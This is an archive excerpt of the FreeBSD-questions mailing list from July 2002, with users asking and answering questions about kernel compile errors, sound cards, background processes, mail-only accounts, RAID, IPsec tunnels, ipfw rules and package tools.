> `xpt_done'
> umass.o: In function `umass_cam_sense_cb':
> umass.o(.text+0x1988): undefined reference to
> `xpt_done'
> umass.o(.text+0x1999): undefined reference to
> `xpt_done'
> *** Error code 1
> 
> Stop in /usr/src/sys/compile/MYKERNEL.
> 
> 
> __________________________________________________
> Do You Yahoo!?
> Yahoo! Health - Feel better, live better
> http://health.yahoo.com
> 
> To Unsubscribe: send mail to majordomo@FreeBSD.org
> with "unsubscribe freebsd-questions" in the body of the message
> 
> .
> 
> 


-- 
Kent Stewart
Richland, WA

http://users.owt.com/kstewart/index.html


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From owner-freebsd-questions  Mon Jul 29 23: 2:10 2002
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From: Ed Yu <edlyu@yahoo.com>
Subject: Re: FreeBSD question.
To: Steven Shen <shen_zhijian@hotmail.com>,
	freebsd-questions@FreeBSD.ORG
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> But something I do have some problem on using
> FreeBSD. For example, my computer has no 
> 
> ISA sound. It only has PCI sound card, Creative
> Vibra128 PCI. FreeBSD does not 
> 
> directly support PCI sound card now. So my FreeBSD
> has no sound, silent. This is 

FreeBSD supports PCI sound card. Add the following
line in your kernel config file in
/usr/src/sys/i386/conf and compile the kernel

device          pcm

If you are a little rusty on kernel compilation, look
at the Handbook.

-ed



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From owner-freebsd-questions  Mon Jul 29 23: 6:28 2002
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lol,
  I hate to drop the big bang but whut the hell...
james... 
i'm a total freakin nooB at any *nix environment and was a grammer
school drop out also...
i was 32 years old before i managed to get my GED and some college
courses...

but one thing that i do know --

FreeBSD isn't Linux foo  :)    lol


JWright295@aol.com wrote:
> 
> To whom it may concern:
> 
> I am the President of ACM at Mississippi State University. I would
> like to invite someone from your company to do a presentation at MSU
> for ACM. The topic of the presentation would be up to the presenter,
> but we would be interested in any presentation on any of the following
> topics:
> 
> 1. Linux Installation (one of the main barriers keeping people from
> using Linux)
> 2. Advanced Linux Operations
> 3. Programming in Linux
> 4. Networking Linux boxes
> 
> If no one from your company is available to do a presentation, I will
> probably do the presentation myself on Linux installation. However,
> more people would come if you have a representative from your company
> doing the presentation.
> 
> If I do the presentation myself, I would appreciate it if you could
> send some "Powered By Linux" stickers and Linux installation CDs.
> 
> Thank you.
> 
> Sincerely,
> 
> James Wright
> ACM President
> P.O. Box 6991
> MSU, MS 39762


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From owner-freebsd-questions  Mon Jul 29 23: 8:57 2002
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From: "Ciro Maeitta" <geminidomino@earthlink.net>
To: "Steven Lake" <raiden@shell.core.com>,
	<freebsd-questions@FreeBSD.ORG>
References: <Pine.GSO.4.44L0.0207292159060.18182-100000@shell.core.com>
Subject: Re: User auth through database
Date: Tue, 30 Jul 2002 02:09:02 -0400
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----- Original Message -----
From: "Steven Lake" <raiden@shell.core.com>
To: <freebsd-questions@FreeBSD.ORG>
Sent: Monday, July 29, 2002 2307h
Subject: User auth through database


> Hi again.  Quick question.  Is there a port, or a good tutorial
> guide on how to setup a server so that users can get mail but not
> actually have a legitimate shell account on the server.  I only want three
> actual accounts that can login to the machine through sell and the
> console, but I want Qpopper to treat the users as though they actually
> had a shell account on the machine.
>
> Basically what I'm thinking is to use some form of user auth for
> the mail services through an SQL database of some kind.  I've seen it
> done, but I'm not sure how to do it.  Anyone have any ideas?  Or do I need
> to use a different Pop3 mail server port to make use of this SQL database
> auth method I'm looking at doing?
>
> Also, if I want users to have to auth to send mail, can I setup
> sendmail to use this same database, or do I need to use something else?

I dont quite follow what you mean about a database... you should be able to
do this by just setting the users shell to /sbin/nologin or /nonexistant or
whatever is appropriate for your setup... then they cannot log in at the
console or via ssh, but qpopper will still be able to feed them thier mail.


HTH
-C


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From owner-freebsd-questions  Mon Jul 29 23:10:19 2002
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From: Vijay Patel <talkwithpatel@yahoo.com>
Subject: To keep running java code in background after logout
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Hi friends,
	I have installed FreeBSD 4.5 on my machine. I am also
having 2 other machines running on linux.
	We have developed a code in java which we need to run
in background for 24 hrs. In linux we use...
	java Code1 &
	
	command to run our code in background. After starting
this command we just logout from that terminal window.
We have seen that on linux machine our code works fine
in background.

	When i have tested same code on our FreeBSD server,
unfortunately it gets killed, without writting any
error message in log file. We tried to search on all
help pages available about how to run our application
in background - on console window. We did not get any
help about this item.

	My observations are... when i start code on FreeBSD,
then i issue ps command ...

bash-2.05a$ ps
  PID  TT  STAT      TIME COMMAND
 1006  p0  Ss     0:00.04 -bash (bash)
 1087  p0  S      0:00.20
/usr/local/jdk1.3.1/bin/i386/green_threads/java Code1
 1103  p0  R+     0:00.00 ps


	After starting my code, i logout & relogin to check
whether my code is working in background or not....

bash-2.05a$ ps
  PID  TT  STAT      TIME COMMAND
 1087  p0- I      0:00.20
/usr/local/jdk1.3.1/bin/i386/green_threads/java Code1
 1105  p0  Ss     0:00.01 -bash (bash)
 1106  p0  R+     0:00.00 ps

	It is showing that code is working right now. But
after 2-3 hours code automatically gets killed. I am
having good provision for keeping all error log iff my
code exists with an error. But here i am sure that it
is getting killed - so i am not getting any error log.

	Can any friend help in how to keep my code working
without a terminal window. - I am starting my code
using ssh terminal from another machine. It is not
possible for me to go to front of server & start code
from server itself. Is there any idea how all deamon
processes works - Tomcat, Mysqld etc...

	Thanks in advance.

__________________________________________________
Do You Yahoo!?
Yahoo! Health - Feel better, live better
http://health.yahoo.com

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From owner-freebsd-questions  Mon Jul 29 23:24:39 2002
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Date: Tue, 30 Jul 2002 08:24:35 +0200
From: Manuel Hendel <manuel@hendel.net>
To: freebsd-questions@freebsd.org
Subject: can't connect to imapserver via cyradm
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Suddenly, for some reason I can't connect to my imapserver on
localhost via cyradm. I even don't get an error message. I just typeed

+++
bash-2.05a# cyradm -u cyrus localhost

+++

pressed enter, but nothing happened except that the cursor jumps to
the next line.

I got FreeBSD 4.6 installed and the cyrus-imapd port
(cyrus-imapd-2.0.16_2).

Does anybody know what's going wron here?

Manuel

-- 
It is impossible to walk rapidly and be unhappy. 
-Dr. Howard Murphy 

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From owner-freebsd-questions  Mon Jul 29 23:25:28 2002
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Date: Tue, 30 Jul 2002 02:25:23 -0400 (EDT)
Subject: Re: Dear FreeBSD,   (hahahaha) <-= wasnt funny the first time.
From: "Mike" <root@unixhideout.com>
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This is obviously a prank. Why is everyone responding to this bullshit.
Why the hell would a president of ACM at blah, be on AOL, And post
something so stupid.. Sometimes we make spam 4 or more times worse by
replying to useless garbage. For example. This email i sent makes what 6?

> lol,
>   I hate to drop the big bang but whut the hell...
> james...
> i'm a total freakin nooB at any *nix environment and was a grammer
> school drop out also...
> i was 32 years old before i managed to get my GED and some college
> courses...
>
> but one thing that i do know --
>
> FreeBSD isn't Linux foo  :)    lol
>
>
> JWright295@aol.com wrote:
>>
>> To whom it may concern:
>>
>> I am the President of ACM at Mississippi State University. I would
>> like to invite someone from your company to do a presentation at MSU
>> for ACM. The topic of the presentation would be up to the presenter,
>> but we would be interested in any presentation on any of the following
>> topics:
>>
>> 1. Linux Installation (one of the main barriers keeping people from
>> using Linux)
>> 2. Advanced Linux Operations
>> 3. Programming in Linux
>> 4. Networking Linux boxes
>>
>> If no one from your company is available to do a presentation, I will
>> probably do the presentation myself on Linux installation. However,
>> more people would come if you have a representative from your company
>> doing the presentation.
>>
>> If I do the presentation myself, I would appreciate it if you could
>> send some "Powered By Linux" stickers and Linux installation CDs.
>>
>> Thank you.
>>
>> Sincerely,
>>
>> James Wright
>> ACM President
>> P.O. Box 6991
>> MSU, MS 39762
>
>
> To Unsubscribe: send mail to majordomo@FreeBSD.org
> with "unsubscribe freebsd-questions" in the body of the message


-- 

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From owner-freebsd-questions  Mon Jul 29 23:48:35 2002
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Subject: Re: Setting up a raid
From: "Jud" <jud@myrealbox.com>
To: curtesy@mindspring.com
Cc: freebsd-questions@FreeBSD.ORG
Date: Mon, 29 Jul 2002 12:55:05 -0400
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-----Original Message-----
From: "curt" <curtesy@mindspring.com>
To: <freebsd-questions@FreeBSD.ORG>
Date: Fri, 26 Jul 2002 08:46:44 -0700
Subject: Setting up a raid

I have an Iwill XP333MB that has a built-in Highpoint 372 RAID controller. =
 My problem is with atacontrol and booting. =20

First, I finally figured out that in order to use atacontrol to create the =
raid, you must enter the raid identifier in caps!  The man pages give no =
clue as to this requirement.  Very poor documentation here.

Second, when the RAID is created, it apparently reassigns device names or s=
omething to that effect, as with RAID1 configured, the machine will not b=
oot.  It halts complaining that it cannot find the boot device (which in =
pre-RAID configurtion was ad4s1a).  All I get is the mountroot prompt.  T=
rying to boot using the apparent new boot device (ar0, appearing to be id=
entified in dmesg as the combination of ad4 and ad5) by answering the mou=
ntroot command prompt with ufs:ar0s1a, gives a kernel panic.... it cannot=
 find init or any init derivative.  Where are the instructions or example=
s on how to set this up?  I am stuck.. 

HELP!

Curt

_ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _

If it works like my onboard Promise controller, set up 
your RAID array in the BIOS and set your machine to 
boot from it if that's what you want.  Then Soeren's 
very lovely ata driver should allow FreeBSD to grok 
this setup automagically.  (Translation: after setting 
up the BIOS, boot into the install.  Fdisk and 
disklabel will show you the array.  Just put your 
partitions where you want them and you're good to go.)

Jud






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From owner-freebsd-questions  Mon Jul 29 23:54: 8 2002
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Disable your HTML.  I didn't get any attachements.

>
>Subject: FreeBSD question.
>   From: "Steven Shen" <shen_zhijian@hotmail.com>
>   Date: Tue, 30 Jul 2002 17:32:30 +1200
>     To: <freebsd-questions@FreeBSD.ORG>
>
>This is a multi-part message in MIME format.
>
>------=_NextPart_000_0007_01C237EF.14E57A50
>Content-Type: text/plain;
>	charset="iso-8859-1"
>Content-Transfer-Encoding: quoted-printable
>
>Dear Sir:
>
>I am a FreeBSD lover, but I am not a professional. 
>I like it very much prior to any other kinds of linux.
>I treat FreeBSD as a formal UNIX, and linux is something minor.
>
>But something I do have some problem on using FreeBSD. For example, my computer has no 
>
>ISA sound. It only has PCI sound card, Creative Vibra128 PCI. FreeBSD does not 
>
>directly support PCI sound card now. So my FreeBSD has no sound, silent. This is 
>
>pretty a sorrow. 
>
>Fortunately I find a article telling how to configure the PCI sound card for FreeBSD. 
>But while I follow the instruction of this article, I have some problem which I cannot 
>
>solve. 
>
>Could you please give me help on this?
>For your convenience I attach this article to this e-mail. The original text in this 
>
>article is in BLACK, and my problems (there two by now) are in RED. 
>
>Thank you.
>
>Regards.
>
>Shen Zhijian.
><shen_zhijian@hotmail.com>
>------=_NextPart_000_0007_01C237EF.14E57A50
>Content-Type: text/html;
>	charset="iso-8859-1"
>Content-Transfer-Encoding: quoted-printable
>
><!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.0 Transitional//EN">
><HTML><HEAD>
><META http-equiv=Content-Type content="text/html; charset=iso-8859-1">
><META content="MSHTML 5.50.4916.2300" name=GENERATOR>
><STYLE></STYLE>
></HEAD>
><BODY bgColor=#ffffff>
><DIV><FONT face=Arial size=2>Dear Sir:</FONT></DIV>
><DIV>&nbsp;</DIV>
><DIV><FONT face=Arial size=2>I am a FreeBSD lover, but I am not a professional. 
><BR>I like it very much prior to any other kinds of linux.<BR>I treat FreeBSD as 
>a formal UNIX, and linux is something minor.</FONT></DIV>
><DIV>&nbsp;</DIV>
><DIV><FONT face=Arial size=2>But something I do have some problem on using 
>FreeBSD. For example, my computer has no </FONT></DIV>
><DIV>&nbsp;</DIV>
><DIV><FONT face=Arial size=2>ISA sound. It only has PCI sound card, Creative 
>Vibra128 PCI. FreeBSD does not </FONT></DIV>
><DIV>&nbsp;</DIV>
><DIV><FONT face=Arial size=2>directly support PCI sound card now. So my FreeBSD 
>has no sound, silent. This is </FONT></DIV>
><DIV>&nbsp;</DIV>
><DIV><FONT face=Arial size=2>pretty a sorrow. </FONT></DIV>
><DIV>&nbsp;</DIV>
><DIV><FONT face=Arial size=2>Fortunately I find a article telling how to 
>configure the PCI sound card for FreeBSD. <BR>But while I follow the instruction 
>of this article, I have some problem which I cannot </FONT></DIV>
><DIV>&nbsp;</DIV>
><DIV><FONT face=Arial size=2>solve. </FONT></DIV>
><DIV>&nbsp;</DIV>
><DIV><FONT face=Arial size=2>Could you please give me help on this?<BR>For your 
>convenience I attach this article to this e-mail. The original text in this 
></FONT></DIV>
><DIV>&nbsp;</DIV>
><DIV><FONT face=Arial size=2>article is in BLACK, and my problems (there two by 
>now) are in RED. </FONT></DIV>
><DIV>&nbsp;</DIV>
><DIV><FONT face=Arial size=2>Thank you.</FONT></DIV>
><DIV>&nbsp;</DIV>
><DIV><FONT face=Arial size=2>Regards.</FONT></DIV>
><DIV>&nbsp;</DIV>
><DIV><FONT face=Arial size=2>Shen Zhijian.<BR>&lt;<A 
>href="mailto:shen_zhijian@hotmail.com">shen_zhijian@hotmail.com</A>&gt;</FONT></DIV></BODY></HTML>
>
>------=_NextPart_000_0007_01C237EF.14E57A50--
>
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From owner-freebsd-questions  Tue Jul 30  0:34:49 2002
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I configured/make depend without error, then make:
/usr/src/sys/compile/NOAPM/../../dev/usb/umass.c(.text+0x14be): undefined 
reference to `xpt_create_path'
/usr/src/sys/compile/NOAPM/../../dev/usb/umass.c(.text+0x14df): undefined 
reference to `xpt_async'
/usr/src/sys/compile/NOAPM/../../dev/usb/umass.c(.text+0x14e7): undefined 
reference to `xpt_free_path'
umass.o: In function `umass_cam_action':
/usr/src/sys/compile/NOAPM/../../dev/usb/umass.c(.text+0x1805): undefined 
reference to `xpt_done'
/usr/src/sys/compile/NOAPM/../../dev/usb/umass.c(.text+0x1815): undefined 
reference to `xpt_done'
umass.o: In function `umass_cam_cb':
/usr/src/sys/compile/NOAPM/../../dev/usb/umass.c:2521: undefined reference to 
`xpt_done'
umass.o: In function `umass_cam_sense_cb':
/usr/src/sys/compile/NOAPM/../../dev/usb/umass.c(.text+0x1988): undefined 
reference to `xpt_done'
/usr/src/sys/compile/NOAPM/../../dev/usb/umass.c(.text+0x1999): undefined 
reference to `xpt_done'
*** Error code 1
Stop in /usr/src/sys/compile/NOAPM.

<sigh>
Workarounds, anyone?
-- 
Regards,
Brian


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From owner-freebsd-questions  Tue Jul 30  0:48:28 2002
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From: "Crist J. Clark" <crist.clark@attbi.com>
To: Matthew Grooms <mgrooms@seton.org>
Cc: dlavigne6@cogeco.ca, freebsd-questions@FreeBSD.ORG
Subject: Re: vpn1/fw1 NG to ipsec/racoon troubles, help please ...
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[Please, -questions or -security, but not both.]

On Mon, Jul 29, 2002 at 02:49:22PM -0500, Matthew Grooms wrote:
> Ok, Im a moron. I was trying to use the gif griver whan I shouldn't
> have.

I've never figured out why people use gif(4) interfaces when ESP does
the tunneling for you.

[snip]

> When the connection is initiated from the bsd side, traffic passes
> through the vpn1 box, enencrypted and routed to the remote host without
> a problem. Unfotunately, the response from the remote host gets caught
> up on the return trip. I am guessing this is because the bsd and vpn1
> box agree on an outbound ( from the bsd boxs perspective ) proposal but
> cannot agree on an inbound proposal. The checkpoint error logs say
> 'encryption failure : no response from peer'. However, here is some
> tcpdump output that shows bi-directional communications. Im not sure how
> to interperate this. Any ideas anyone?
> 
> tcpdump: listening on eth0

The output from running racoon(8) with the '-d' option would be much
more useful.
-- 
Crist J. Clark                     |     cjclark@alum.mit.edu
                                   |     cjclark@jhu.edu
http://people.freebsd.org/~cjc/    |     cjc@freebsd.org

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From owner-freebsd-questions  Tue Jul 30  0:58:48 2002
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From: parv <parv@pair.com>
To: Jud <jud@myrealbox.com>
Cc: Greg 'groggy' Lehey <grog@lemis.com>,
	FreeBSD-Questions@FreeBSD.Org
Subject: Re: What do we need in a FreeBSD desktop?
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in message <20020729215629.435b4356.jud@myrealbox.com>,
wrote Jud thusly...
>
> Emacs does everything ...  but it might be more intimidating
> ... It does take a while to build and install (and download, for
> those of us on dial-ups).  And the configuration options! - not
> exactly 'instant.'  If it's part of the install, it seems to me
> users will try it, and may wind up thinking "Jeez, this stuff is
> hard" as a first impression of FreeBSD.

for one thing, once i built xemacs w/o the sole depend target w/o
any problems whatsoever as an exercise.  related thread was on
-questions & message id of 1st message is
20020319080130.GA16769@moo.holy.cow.

second, there are emacs like small programs, one of them is mg.

third, just vi all the way be it nvi, or (g)vim.  im so ho.


  - parv

-- 
 

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From owner-freebsd-questions  Tue Jul 30  1:21:19 2002
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To: Steven Lake <raiden@shell.core.com>
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Steven Lake <raiden@shell.core.com> writes:

> 	Hi again.  Quick question.  Is there a port, or a good tutorial
> guide on how to setup a server so that users can get mail but not
> actually have a legitimate shell account on the server.  I only want three
> actual accounts that can login to the machine through sell and the
> console, but I want Qpopper to treat the users as though they actually
> had a shell account on the machine.

What you want to do is definitely doable but it may come down to the
MTA that you use. I use exim with vmail-sql
http://www.ex-parrot.com/~chris/vmail-sql/

It also lets you do very cool things with hosting multiple domains on
a single machine.

HTH.

-- 
- Wayne Pascoe  -  http://www.penguinpowered.org.uk/wayne/
    Everything to excess. To enjoy the flavour of 
    life, take big bites. Moderation is for 
    monks. - Robert Heinlein
    

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From owner-freebsd-questions  Tue Jul 30  1:23:30 2002
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Subject: FTPD DIES SUDDENLY
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Guys i really need your help with this one. I am running 4.6-STABLE and i
get this as soon as i do the get function in FTP, i am running the
standard freebsd ftp daemon that comes with the base os.

Jul 30 04:15:01 labs2 ftpd[805]: FTP LOGIN FROM localhost.unixhideout.com
as sagacious
Jul 30 04:15:17 labs2 /kernel: pid 805 (ftpd), uid 1002: exited on signal 12
Jul 30 04:15:17 labs2 /kernel: Jul 30 04:15:17 labs2 /kernel: pid 805
(ftpd), uid 1002: exited on signal 12

I have tried using ftp from several other boxes, and the same thing
happens. This never happened before, i tried making world and still no
fixie. Any suggestions out there? It dumps as soon as i try to download a
file no matter how big or small. I need to download my backups so i can
put them on CDR. yikes.


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From: David =?iso-8859-1?Q?Sieb=F6rger?= <drs@rucus.ru.ac.za>
To: Brian Astill <bastill@sa.apana.org.au>
Cc: freebsd-questions@FreeBSD.ORG
Subject: Re: make(kernel 4.6) broken?
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On Tue 2002-07-30 (17:09), Brian Astill wrote:
> I configured/make depend without error, then make:
> /usr/src/sys/compile/NOAPM/../../dev/usb/umass.c(.text+0x14be): undefined 
> reference to `xpt_create_path'
[snip]
> *** Error code 1
> Stop in /usr/src/sys/compile/NOAPM.
> 
> <sigh>

You have 'device umass' in your config, but it seems to me you're
missing either 'device scbus' or 'device da'.  From GENERIC:

device          umass           # Disks/Mass storage - Requires scbus and da
                    
> Workarounds, anyone?

Either remove umass, or make sure you have scbus and da.


-- 
David Siebörger
drs@rucus.ru.ac.za

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From owner-freebsd-questions  Tue Jul 30  1:52:18 2002
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Date: Tue, 30 Jul 2002 01:52:13 -0700 (PDT)
From: manee <radwasteus@yahoo.com>
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hi sirs,

i am using `FreeBSD firak.thai-aec.org 4.6-STABLE
FreeBSD 4.6-STABLE 
#2: 
Sun Jul 14 13:58:35 ICT 2002     
root@firak.thai-aec.org:/usr/obj/usr/src/sys/Firak 
i386'

at present i use private ip number.  but a domain name
is a real one.

if i want some user, his id is krok for example, to
run xfig and do not 
want other user, her id is  jumjim, to run this
program from some other 
host in the same domain, what method should i use in
order to 
accomplish 
this requirement.


thanks in advance and regards,
manee



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From owner-freebsd-questions  Tue Jul 30  2: 5: 6 2002
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References: <sd455602.090@aus-gwia.aus.dcnhs.org> <20020730074813.GF89241@blossom.cjclark.org>
Subject: Re: vpn1/fw1 NG to ipsec/racoon troubles, help please ...
Date: Tue, 30 Jul 2002 10:04:30 +0100
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i'm no expert but i think its like this:

    * if your endpoints (say 10.0.0.1, 10.0.0.2) do not partake in the
network traffic
        then not using gif is ok. that is traffic is only between protected
nets
        (say 192.168.1.0, 192.168.2.0).

    * however, if your endpoints also wnat to talk to each other (10.0.0.1
<-> 10.0.0.2)
        in addition to the protected nets, then you have to "trick" the
packets to go through
        gif interface so they obtain the correct "source address" -> this
way the IPSEC layer
        will not ignore the packets and will encrypt them (because they have
the
        correect source address). the ipsec layer won;t encrypt packets from
        10.0.0.1 -> 192.168.2.1, say - but will encryot 192.168.1.1 ->
192.168.2.1

am i wrong? i've always been a little confused about the need for gif
tunnels for routing... very ugly solution but it works for me. having an
ipsec0 device or and enc0 device would be much nicer. you could also tcpdump
on the decrypted packets on these devices.

tariq


----- Original Message -----
From: "Crist J. Clark" <crist.clark@attbi.com>
> I've never figured out why people use gif(4) interfaces when ESP does
> the tunneling for you.



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From owner-freebsd-questions  Tue Jul 30  2:34: 0 2002
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Subject: Re: vpn1/fw1 NG to ipsec/racoon troubles, help please ... 
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> I've never figured out why people use gif(4) interfaces when ESP does
> the tunneling for you.

Perhaps because with some packet-filter facilities you can't
filter both the outer packet headers (IPSEC headers) *and*
the inner packet headers (TCP, UDP, &c) if they appear to
be associated with the same interface; with a formal gif(4)
tunnel you can filter the outer headers on the physical
interface and the inner headers on the gif(4) interface.

-- 
	David Pick



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From owner-freebsd-questions  Tue Jul 30  3:21:32 2002
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Hello,

I'm trying to run Xcdroast. My Cdrewriter has an Atapi interface.
When I start xcdroast it can't scan the SCSI-bus. `For ATAPI devices
you have to install the SCSI-emulation first.
Is there a SCSI-emulation in FreeBsd? How do I enable it?

-Hanspeter

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From owner-freebsd-questions  Tue Jul 30  3:46:37 2002
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Hello,

I'm writing some graphics code (just for fun) and I need "legal" access to
the memory addresses below 1 mb.

The thing is, I know how to access those addresses (open /dev/mem, mmap, and
that's it), but I'd like to be able to alloc some pages so that my accesses
are correct and don't make the kernel panic...

Does anyone know how I could do that?

Thank you in advance.

Alex




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From owner-freebsd-questions  Tue Jul 30  3:55:47 2002
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Hello,

I'm writing some graphics code (just for fun) and I need "legal" access to
the memory addresses below 1 mb.

The thing is, I know how to access those addresses (open /dev/mem, mmap, and
that's it), but I'd like to be able to alloc some pages so that my accesses
are correct and don't make the kernel panic...

Does anyone know how I could do that?

Thank you in advance.

Alex


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From owner-freebsd-questions  Tue Jul 30  4:14:19 2002
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Date: Tue, 30 Jul 2002 05:14:15 -0600 (MDT)
From: Warren Block <wblock@wonkity.com>
To: Bishop <bishop@teamgalocia.net>
Cc: freebsd-questions@freebsd.org
Subject: Re: USB webcams....little help?
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On Fri, 26 Jul 2002, Bishop wrote:

> So, now that I have my D-link DSB-C100 hooked up to my USB port (and
> recognized as an OV511+ device in dmesg, and now that vid supposedly works
> without any obvious errors, I'm now trying to determine where vid is placing
> its captures (if it is capturing at all).

> ...and here is the output of 'vid --help':
> ------------------------------------------------
> t85web# vid --help
> usage: vid [options]
> Capture an image frame from an OV511/OV511+ based USB video camera
> and write image data to standard output in PNM format
      ^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^

According to that, you should be able to say "vid > filename.pnm".  But
if you're not redirecting it to a file, you should see the output in the
shell as a bunch of binary data.  (Apparently; I don't have one of the
devices in question.)
 
-Warren Block * Rapid City, South Dakota USA


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> Hey wizards, I am thnking of blowing away my /usr/src in this -current
> install of mine and replacing it with the 5.0-DP1 /usr/src so I can
> build a new kernel....I'm finding the current -current is a little
> buggy.  I've got the latest /usr/src copied onto cd...

> is this feasible or will I break everything when I try to compile it??? 

> Do I have to build a new world???

I'm not sure what DP1 is, but you always need your source & kernel 
matched--so yes, build world, then buildkernel so that your new world 
is use.

Rather than blowingit wayay, I'd make clean and then 
mv /usr/src /usr/old.src
so that it's still there if you need it.

ALso, do you *need* current?  The good stuff is moved into stable as 
soon as it's reliable; you're not stuck with the linuxy  choice of ot 
of date or missing features.  Otoh, if you need stuff from current, 
you're stuck with a certain amount of instability.

hawk

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From owner-freebsd-questions  Tue Jul 30  4:30:12 2002
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  On Jul 30 at 01:52, manee spoke:

> if i want some user, his id is krok for example, to
> run xfig and do not 
> want other user, her id is  jumjim, to run this
> program from some other 
> host in the same domain, what method should i use in
> order to 
> accomplish 
> this requirement.

Hello,

add a group `xfig' in /etc/groups, change the group of xfig to xfig,
revoke execusion and read permission of xfig for others and add
everybody who should be allowed to run xfig to the group xfig.

-Hanspeter

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From owner-freebsd-questions  Tue Jul 30  5:29:17 2002
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Date: Tue, 30 Jul 2002 09:29:07 -0300
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Subject: Re: vpn1/fw1 NG to ipsec/racoon troubles, help please ...
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Crist J. Clark wrote:
> [Please, -questions or -security, but not both.]
> 
> On Mon, Jul 29, 2002 at 02:49:22PM -0500, Matthew Grooms wrote:
> 
>>Ok, Im a moron. I was trying to use the gif griver whan I shouldn't
>>have.
> 
> 
> I've never figured out why people use gif(4) interfaces when ESP does
> the tunneling for you.

That one is easy. Check out the handbook section on IPsec as well as the 
  links it points to.

-- 
Daniel C. Sobral                   (8-DCS)
Daniel.Sobral@tcoip.com.br
dcs@newsguy.com
dcs@freebsd.org
capo@notorious.bsdconspiracy.net

In love, she who gives her portrait promises the original.
		-- Bruton


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From owner-freebsd-questions  Tue Jul 30  5:32:24 2002
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From: Mark Pearce <mark@netchat.co.za>
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Subject: ipfw weirdness
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Hi all

I have the following situation, I have a client behind my box running exchange, and they are getting spammed to death, I want to disallow all incoming traffic to their box, but allow incoming traffic from their secondries only, the secondries are not getting spammed at this moment.

I am running a ipfw / natd combination 

My default ruleset is allow all
I run the command 

ipfw add allow 200 tcp from 196.x.x.x to 196.x.x.y 25 

and it effectivly blocks everything coming from anywhere even although I have just allowed it, if I remove the rule, it works fine again.

If I run the rule
ipfw add 200 deny tcp from not 196.x.x.x to 196.x.x.y 25 it works on the port, but blocks all other traffic which is not what I had in mind.

What am I overlooking here.

Help

Mark

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From owner-freebsd-questions  Tue Jul 30  5:45:17 2002
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From: robert Backhaus <robbakfreebsd@yahoo.co.uk>
Subject: Re: Issues With X Windows
To: Ed Yu <edlyu@yahoo.com>, Ben Shin <bshin2000@hotmail.com>,
	freebsd-questions@FreeBSD.ORG
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I think this was looked at last week. check 
http://www.freebsd.org/cgi/getmsg.cgi?fetch=4213576+0+/usr/local/www/db/text/2002/freebsd-questions/20020728.freebsd-questions

I think the problem may be x"f86OpenConsole: server
must be suid root" to quote an error.


--- Ed Yu <edlyu@yahoo.com> wrote:
> what's the permission on that log file?
> 
> -ed
> 
> --- Ben Shin <bshin2000@hotmail.com> wrote:
> > I tried to start x windows using a non-root
> account.
> >  However, I got a fatal 
> > error message saying I cannot open a log file. I
> can
> > startx as root.  How 
> > can I fix this mistake?
> > 
> >
>
_________________________________________________________________
> > Chat with friends online, try MSN Messenger:
> > http://messenger.msn.com
> > 
> > 
> > To Unsubscribe: send mail to majordomo@FreeBSD.org
> > with "unsubscribe freebsd-questions" in the body
> of
> > the message
> 
> 
> __________________________________________________
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From owner-freebsd-questions  Tue Jul 30  5:53:43 2002
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Subject: Re: FreeBSD question.
To: Steven Shen <shen_zhijian@hotmail.com>,
	freebsd-questions@FreeBSD.ORG
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X-Loop: FreeBSD.ORG

Well, you didn't attatch the article, but, never mind,
atttchments are somewhat non-appropos here.

Could you give us a link?

I think support for creative pci cards is fairly
comlete - I have a creative, I think vibra128, that
was working until my last kernel compile, when I
forgot to include the driver....
If you include the sound lines from your kernel conf
file, someone will diag your problem pretty quick.


--- Steven Shen <shen_zhijian@hotmail.com> wrote:
> Dear Sir:
> 
> I am a FreeBSD lover, but I am not a professional. 
> I like it very much prior to any other kinds of
> linux.
> I treat FreeBSD as a formal UNIX, and linux is
> something minor.
> 
> But something I do have some problem on using
> FreeBSD. For example, my computer has no 
> 
> ISA sound. It only has PCI sound card, Creative
> Vibra128 PCI. FreeBSD does not 
> 
> directly support PCI sound card now. So my FreeBSD
> has no sound, silent. This is 
> 
> pretty a sorrow. 
> 
> Fortunately I find a article telling how to
> configure the PCI sound card for FreeBSD. 
> But while I follow the instruction of this article,
> I have some problem which I cannot 
> 
> solve. 
> 
> Could you please give me help on this?
> For your convenience I attach this article to this
> e-mail. The original text in this 
> 
> article is in BLACK, and my problems (there two by
> now) are in RED. 
> 
> Thank you.
> 
> Regards.
> 
> Shen Zhijian.
> <shen_zhijian@hotmail.com>


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From owner-freebsd-questions  Tue Jul 30  6: 4:43 2002
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Subject: Re: make(kernel 4.6) broken?
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X-Loop: FreeBSD.ORG

That's two tonight! quite a record.
-
> You have 'device umass' in your config, but it seems
> to me you're
> missing either 'device scbus' or 'device da'.  From
> GENERIC:
> 
> device          umass           # Disks/Mass storage
> - Requires scbus and da


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From owner-freebsd-questions  Tue Jul 30  6: 6:29 2002
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             <20020729215629.435b4356.jud@myrealbox.com> 
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X-Loop: FreeBSD.ORG

>Perhaps that's taken care of by w3m (I don't remember ATM whether
>that's part of the default emacs install)?  That brings me to my
>last and likely most controversial thought.  Emacs does everything
>but bake blueberry muffins,

That's just because you don't have it configured properly.  Of course, 
it will insist that they are really gnuberry muffins, but . . . 

:)

hawk

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From owner-freebsd-questions  Tue Jul 30  6:16: 6 2002
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Hello freebsd-questions,

  I've seen many times in different forums/mailing lists
  talks about pkgdb command, but can't find it on my 4.6 release.
  Also can't find any references to it in ports.

  I have pkgconfig-0.8.0, and pkg* commands listed below:
  pkg-config
  pkg_add
  pkg_check
  pkg_create
  pkg_delete
  pkg_info
  pkg_sign
  pkg_update
  pkg_version

  I tried to "find" pkgdb, but no results.

  Please help

  
-- 
Best regards,
 Taras Burko
 Systems administrator
 Calvaria Publishing House
 mailto:admin@calvaria.org


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From owner-freebsd-questions  Tue Jul 30  6:21: 2 2002
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From: Daniel Bye <dan@slightlystrange.org>
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Subject: Re: pkgdb command
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On Tue, Jul 30, 2002 at 04:15:41PM +0300, Taras Burko wrote:
> Hello freebsd-questions,
> 
>   I've seen many times in different forums/mailing lists
>   talks about pkgdb command, but can't find it on my 4.6 release.
>   Also can't find any references to it in ports.
> 
>   I have pkgconfig-0.8.0, and pkg* commands listed below:
>   pkg-config
>   pkg_add
>   pkg_check
>   pkg_create
>   pkg_delete
>   pkg_info
>   pkg_sign
>   pkg_update
>   pkg_version
> 
>   I tried to "find" pkgdb, but no results.

pkgdb is installed as part of the ports/sysutils/portupgrade port.

Dan

-- 
Daniel Bye

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From owner-freebsd-questions  Tue Jul 30  6:24:31 2002
